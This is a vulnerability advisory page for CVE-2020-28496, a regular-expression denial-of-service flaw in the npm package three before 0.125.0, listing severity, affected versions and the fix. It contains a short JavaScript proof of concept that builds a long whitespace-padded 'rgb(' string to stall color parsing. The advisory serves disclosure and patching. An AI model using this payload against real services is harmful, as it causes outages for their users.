CVE-2020-28496

High

Description

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

SeverityHigh
CVSS7.5
Exploit probability—
ProductThree
PublishedFeb 18, 2021
First seenFeb 18, 2021

How to fix

Update
  • three_project three0.125.0 or later
  • three0.125.0 or later

Affected products

ProductAffected versionsFixed in
three_project threev < 0.125.00.125.0
threenpmv < 0.125.00.125.0

Check your version

Choose the product and enter the version you run to see whether it falls in the affected range.

In the Intelligence 360 plan

Attack Surface Management

See the assets tied to your domains, the technologies they run and known vulnerabilities in one list.

CVE-2020-28496 · Three · Dark Radar